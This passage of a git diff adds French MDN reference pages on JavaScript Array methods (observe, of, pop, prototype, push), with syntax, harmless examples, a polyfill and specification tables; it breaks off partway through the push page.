+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/observe/index.html b/files/fr/web/javascript/reference/objets_globaux/array/observe/index.html
new file mode 100644
index 0000000000..ea02585a28
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/observe/index.html
@@ -0,0 +1,90 @@
+---
+title: Array.observe()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/observe
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Array.observe
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>La méthode <strong><code>Array.observe()</code></strong> est utilisée afin d'observer les modifications apportées à un tableau de façon asynchrone. Elle fonctionne de la même façon que la méthode {{jsxref("Object.observe()")}} pour les objets. Cette méthode fournit un flux de changements, triés dans l'ordre dans lequel ils se sont produits. Utiliser cette méthode est équivalent à appeler {{jsxref("Object.observe()")}} avec la liste <code>["add", "update", "delete", "splice"]</code> comme troisième argument. Toutefois, cette API a été dépréciée et retirée des navigateurs. Il est préférable d'utiliser l'objet {{jsxref("Proxy")}}, plus générique, à la place.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Array.observe(<var>arr</var>, <var>callback</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>Le tableau qu'on souhaite observer.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à appeler à chaque fois que des changements sont effectués. Cette fonction est appelée avec l'argument suivant :
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Un tableau d'objets représentant chacun une modification. Les propriétés de ces objets sont :
+  <ul>
+   <li><strong><code>name</code></strong> : Le nom de la propriété qui a été modifiée.</li>
+   <li><strong><code>object</code></strong> : Le tableau modifié (une fois que la modification a été effectuée).</li>
+   <li><strong><code>type</code></strong> : Une chaîne de caractères indiquant le type de modification qui a eu lieu. Elle peut valoir <code>"add"</code> (pour ajout), <code>"update"</code> (pour modification), <code>"delete"</code>(pour suppression) ou <code>"splice"</code> (pour découpage).</li>
+   <li><strong><code>oldValue</code></strong> : Propriété présente uniquement lorsque le type vaut <code>"update"</code> ou <code>"delete"</code>. La valeur de la propriété est la valeur avant qu'elle ait été modifiée.</li>
+   <li><strong><code>index</code></strong> : Propriété présente uniquement lorsque le type vaut <code>"splice"</code>. L'index auquel la modification a eu lieu.</li>
+   <li><strong><code>removed </code></strong>: Propriété présente uniquement lorsque le type vaut <code>"splice"</code>. Le tableau des éléments supprimés.</li>
+   <li><strong><code>addedCount</code></strong> : Propriété uniquement présente lorsque le type vaut <code>"splice"</code>. Le nombre d'éléments ajoutés.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>callback</code> est appelée à chaque fois qu'un changement est apporté à <code>arr</code>, elle est appelée avec un argument qui est un tableau contenant tous les changements qui se sont produits, dans l'ordre dans lequel ils se sont produits. </p>
+
+<div class="note">
+<p>Les modifications apportées avec les méthodes d'Array, comme <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/pop"><code>Array.prototype.pop()</code></a>, seront enregistrées avec le type <code>"splice"</code>. Les modifications d'éléments qui ne modifient pas la longueur du tableau sont enregistrés en tant qu'<code>update"</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Enregistrer_les_différents_types_de_modifications">Enregistrer les différents types de modifications</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+Array.observe(arr, function(changes) {
+  console.log(changes);
+});
+
+arr[1] = 'B';
+// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
+
+arr[3] = 'd';
+// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
+
+arr.splice(1, 2, 'beta', 'gamma', 'delta');
+// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c'], addedCount: 3}]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Proposition de spécification (<em>Strawman proposal</em>)</a> (en anglais).</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.observe")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+ <li><a href="https://stackoverflow.com/q/29269057/778272">Sous quelles conditions, Array.observe déclenche un événement « add » ?</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/of/index.html b/files/fr/web/javascript/reference/objets_globaux/array/of/index.html
new file mode 100644
index 0000000000..ffd20e3bf1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/of/index.html
@@ -0,0 +1,105 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/of
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p>La methode <code><strong>Array.of()</strong></code> permet de créer une nouvelle instance d'objet <code>Array</code> à partir d'un nombre variable d'arguments, quels que soient leur nombre ou leur type.</p>
+
+<p>La différence entre <code><strong>Array.of()</strong></code> et le constructeur <code><strong>Array</strong></code> se situe dans la gestion de d'arguments entiers : <strong><code>Array.of(7)</code></strong> crée un tableau avec un seul élément, 7, tandis que <strong><code>Array(7)</code></strong> produit un tableau avec 7 éléments vides (à ne pas confondre avec des éléments qui auraient explicitement la valeur <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/undefined">undefined</a></code>).</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // un tableau avec 7 emplacements vides
+Array(1, 2, 3);    // [1, 2, 3]
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Array.of(<em>element0[, element1[, ...[, elementN]]]</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><code>element0</code>, <code>element1</code>, ..., <code>elementN</code></em></dt>
+ <dd>Les éléments avec lesquels on souhaite construire le nouveau tableau.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle instance de {{jsxref("Array")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette fonction fait partie du standard ECMAScript 2015. Pour plus d'informations, voir les pages sur <a href="https://gist.github.com/rwaldron/1074126">la proposition pour <code>Array.of</code> et <code>Array.from</code></a> ainsi que la page sur le <a href="https://gist.github.com/rwaldron/3186576">fragment d'émulation pour <code>Array.of</code></a>.</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Exécuter ce code avant tout autre code permettra de créer la méthode <strong><code>Array.of()</code></strong> si elle n'est pas prise en charge nativement.</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array", "Array")}}</li>
+ <li>{{jsxref("Array/from", "Array.from")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html b/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html
new file mode 100644
index 0000000000..7d06b9f5f7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/pop/index.html
@@ -0,0 +1,111 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>pop()</strong></code> supprime le <strong>dernier</strong> élément d'un tableau et retourne cet élément. Cette méthode modifie la longueur du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.pop()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élément qui a été retiré du tableau. Si le tableau est vide, elle renvoie {{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>pop()</code> supprime le dernier élément d'un tableau et retourne cette valeur.</p>
+
+<p><code>pop()</code> est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée")}} ou {{jsxref("Function.apply", "appliquée")}} pour des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété <code>length</code> reflétant la fin d'une série de propriétés consécutives numérotées peuvent se comporter bizarrement.</p>
+
+<p>Si vous appelez <code>pop()</code> sur un tableau vide, il renverra la valeur {{jsxref("undefined")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La méthode {{jsxref("Array.prototype.shift()")}} possède un comportement analogue mais retire le <em>premier</em> élément du tableau.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Supprimer_le_dernier_élément_d'un_tableau">Supprimer le dernier élément d'un tableau</h3>
+
+<p>Le code suivant crée le tableau <code>mesPoissons</code> qui contient quatre éléments puis supprime le dernier élément.</p>
+
+<pre class="brush:js">var mesPoissons = ["angel", "clown", "mandarin", "sturgeon"];
+
+var popped = mesPoissons.pop();
+
+console.table(mesPoissons); // angel, clown, madarin
+console.log(popped);        // sturgeon</pre>
+
+<h3 id="Utiliser_apply()_ou_call()_sur_les_objets_semblables_aux_tableaux">Utiliser <code>apply()</code> ou <code>call()</code> sur les objets semblables aux tableaux</h3>
+
+<p>Le code suivant crée un objet <code>mesPoissons</code> semblable à un tableau, qui contient 4 propriétés indexées avec des nombres et une propriété <code>length</code>. On utilise la méthode {{jsxref("Function.call()")}} pour invoquer <code>pop()</code> sur cet objet :</p>
+
+<pre class="brush: js">var mesPoissons = {0: 'angel', 1: 'clown', 2: 'mandarin', 3: 'sturgeon', length: 4};
+
+var popped = Array.prototype.pop.call(mesPoissons); // on aurait pu utiliser apply()
+console.log(mesPoissons); // {0: 'angel', 1: 'clown', 2: 'mandarin', length: 3}
+console.log(popped);      // 'sturgeon'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html
new file mode 100644
index 0000000000..cb423c22f3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html
@@ -0,0 +1,181 @@
+---
+title: Array.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Array/prototype
+tags:
+  - Array
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Array.prototype</code></strong> représente le prototype du constructeur {{jsxref("Array")}} et permet d'ajouter de nouvelles propriétés à l'ensemble des objets <code>Array</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances d'<code>Array</code> héritent de <code>Array.prototype</code>. Comme pour tous les constructeurs, vous pouvez changer l'objet prototype du constructeur afin de modifier toutes les instances d'<code>Array</code>. On peut utiliser cette méthode afin de réaliser des prothèses/<em>polyfills</em>.</p>
+
+<p>Toutefois, si on utilise le prototype pour ajouter des méthodes ou propriétés non-standards à <code>Array</code>, cela peut entraîner certains problèmes au sein de votre code ou lors de l'<a href="https://developers.google.com/web/updates/2018/03/smooshgate">ajout de fonctionnalités à JavaScript</a>.</p>
+
+<p>Fait peu connu : <code>Array.prototype</code> est lui-même un objet {{jsxref("Array")}} :</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype); // true</pre>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>Array.prototype.constructor</dt>
+ <dd>Cette propriété définit la fonction qui crée le prototype d'un objet.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments d'un tableau.</dd>
+ <dt>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</dt>
+ <dd>Un symbole contenant les noms des propriétés à exclure lors d'une liaison effectuée avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Mutateurs">Mutateurs</h3>
+
+<p>Ces méthodes modifient le tableau :</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}}</dt>
+ <dd>Cette méthode copie une série d'éléments de tableau dans le tableau.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}}</dt>
+ <dd>Cette méthode remplie tous les éléments d'un tableau avec une même valeur, éventuellement entre un indice de début et un indice de fin.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>Cette méthode supprime le dernier élément d'un tableau et retourne cet élément.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>Cette méthode ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle longueur du tableau.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>Cette méthode renverse l'ordre des éléments d'un tableau - le premier élément devient le dernier, et le dernier devient le premier. Le tableau est modifié par cette méthode.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>Cette méthode supprime le premier élément d'un tableau et retourne cet élément.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>Cette méthode trie en place les éléments d'un tableau et retourne le tableau.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>Cette méthode permet d'ajouter ou de retirer des éléments d'un tableau.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>Cette méthode permet d'ajouter un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.</dd>
+</dl>
+
+<h3 id="Accesseurs">Accesseurs</h3>
+
+<p>Ces méthodes ne modifient pas l'état du tableau et en retournent une représentation.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>Cette méthode renvoie un nouveau tableau constitué de ce tableau concaténé avec un ou plusieurs autre(s) tableau(x) et/ou valeur(s).</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}}</dt>
+ <dd>Cette méthode détermine si le tableau contient ou non un certain élément. Elle renvoie <code>true</code> ou <code>false</code> selon le cas de figure.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>Cette méthode retourne le premier (plus petit) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>Cette méthode concatène tous les éléments d'un tableau en une chaîne de caractères.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Cette méthode retourne le dernier (plus grand) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>Cette méthode extrait une portion d'un tableau pour retourner un nouveau tableau constitué de ces éléments.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{Non-standard_inline()}}</dt>
+ <dd>Cette méthode renvoie la représentation littérale du tableau spécifié ; vous pouvez utiliser cette valeur pour créer un nouveau tableau. Elle redéfinit la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères représentant le tableau et ses éléments. Elle redéfinit la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>Cette méthode retourne une chaîne de caractères représentant le tableau et ses éléments en tenant compte de la locale. Elle redéfinit la méthode {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="Méthodes_itératives">Méthodes itératives</h3>
+
+<p>Plusieurs méthodes utilisent des fonctions comme argument. Ces fonctions sont utilisées afin de traiter, d'une façon ou d'une autre, chaque élément du tableau. Lorsque ces méthodes sont invoquées, on évalue la longueur du tableau et on traite chacun des éléments dont l'indice est inférieur à la longueur (les éléments ajoutés en cours de route ne seront pas traités). Les autres modifications apportées au tableau (affecter une valeur ou supprimer un élément) peuvent avoir un impact sur les traitements des éléments suivants. Bien que ce comportement soit bien défini pour les différentes méthodes, afin de ne pas complexifier le code outre-mesure, lorsqu'on modifiera un tableau, on en créera une copie avant d'invoquer une telle méthode.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.entries()")}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clef/valeur pour chaque index du tableau.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
+ <dd>Cette méthode renvoie <code>true</code> si chaque élément du tableau satisfait la fonction de test passée en paramètre.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>Cette méthode crée un nouveau tableau contenant tous les éléments du tableau pour lesquels la fonction de filtrage passée en argument retourne <code>true</code>.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}}</dt>
+ <dd>Cette méthode renvoie la valeur d'un élément trouvé dans le tableau et qui satisfait la fonction de test passée en paramètre, <code>undefined</code> sinon.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}}</dt>
+ <dd>Cette méthode renvoie l'index d'un élément trouvé dans le tableau qui satisfait la fonction de test passée en paramètre ou -1 si aucun ne la satisfait.</dd>
+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>Cette méthode appelle une fonction sur chacun des éléments du tableau.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}}</dt>
+ <dd>Cette méthode retourne un nouvel <code>Array Iterator</code> qui contient les indices pour chaque élément dans le tableau.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>Cette méthode crée un nouveau tableau contenant les images de chaque élément du tableau de départ par la fonction passée en paramètre.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd>Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de gauche à droite) de façon à obtenir une unique valeur à la fin.</dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd>Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de droite à gauche) de façon à obtenir une unique valeur à la fin.</dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>Cette méthode renvoie <code>true</code> si au moins un élément du le tableau satisfait la fonction de test passée en paramètre.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs de chaque indice du tableau.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs de chaque indice du tableau.</dd>
+</dl>
+
+<h3 id="Méthodes_génériques_(non-standard)">Méthodes génériques (non-standard)</h3>
+
+<p>De nombreuses méthodes des objets JavaScript de type <code>Array</code> sont conçues pour être appliquées de façon générale à tous les objets qui « ressemblent » à des tableaux. C'est à dire qu'elles peuvent être appliquées à n'importe quel objet qui possède une propriété <code>length</code>, et qui contint des propriétés indexées numériquement (comme lorsque l'on écrit <code>array[5]</code>). Certaines méthodes, comme {{jsxref("Array.join", "join")}}, se contentent de lire la propriété <code>length</code> et d'accéder à ces propriétés numériques de l'objet sur lesquelles on les appelle. D'autres, comme {{jsxref("Array.reverse", "reverse")}}, ont besoin de modifier les propriétés numériques et la longueur d'un objet ; ces méthodes ne peuvent dès lors pas être appelées sur des objets tels que des {{jsxref("String", "String")}}, qui ne permettent pas la modification de leur propriété <code>length</code> ni de leurs propriétés numériques.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout des méthodes <code>copyWithin()</code>, <code>fill()</code>, <code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>find()</code>, <code>findIndex()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Ajout de la méthode <code>includes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array", "Array")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/push/index.html b/files/fr/web/javascript/reference/objets_globaux/array/push/index.html
new file mode 100644
index 0000000000..1ca8d57e8f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/push/index.html
@@ -0,0 +1,144 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/push
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>push()</strong></code> ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle taille du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-push.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.push(<var>élément1</var>, ..., <var>élémentN</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élément1, ...,élémentN</code></dt>
+ <dd>Les éléments à ajouter à la fin du tableau.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} de l'objet sur lequel la méthode a été appelée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>push</code> permet d'ajouter des valeurs à un tableau.</p>
+
+<p><code>push</code> est une méthode générique. Cette méthode peut ainsi être utilisée avec les méthodes {{jsxref("Function.call()")}} ou {{jsxref("Function.apply()")}} sur des objets similaires aux tableaux.</p>
+
+<p>La méthode <code>push</code> se base sur la propriété <code>length</code> pour déterminer à partir de quel index les valeurs données doivent être insérées. Si la propriété <code>length</code> ne peut pas être convertie en nombre, l'index utilisé est 0. Si la propriété <code>length</code> n'est pas définie, elle est alors créée.</p>
+
+<p>Bien que <code>push</code> soit une méthode générique, elle ne peut pas être utilisée sur les chaînes de caractères ou sur l'objet <code>arguments</code> car ils sont immuables.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajouter_des_éléments_à_un_tableau">Ajouter des éléments à un tableau</h3>
+
+<p>Le code suivant crée un tableau <code>sports</code> contenant à sa création deux éléments, auxquels sont ajoutés deux nouveaux éléments. La variable <code>total</code> contient la nouvelle taille du tableau.</p>
+
+<pre class="brush: js">var sports = ["plongée", "baseball"];
+var total = sports.push("football", "tennis");
+
+console.log(sports); // ["plongée", "baseball", "football", "tennis"]
+console.log(total);  // 4
+</pre>
+
+<h3 id="Fusionner_deux_tableaux">Fusionner deux tableaux</h3>
+
+<p>Dans l'exemple qui suit, on utilise la méthode {{jsxref("Function.apply()")}} pour ajouter les différents éléments d'un second tableau</p>
+
+<pre class="brush: js">var legumes = ['navet', 'pomme de terre'];
+var autresLegumes = ['céleri', 'radis'];
+
+// On fusionne les deux tableaux
+// Équivalent à legumes.push('céleri', 'radis');
+Array.prototype.push.apply(legumes, autresLegumes);
+
+console.log(legumes); // ['navet', 'pomme de terre', 'céleri', 'radis']</pre>
+
+<div class="note">
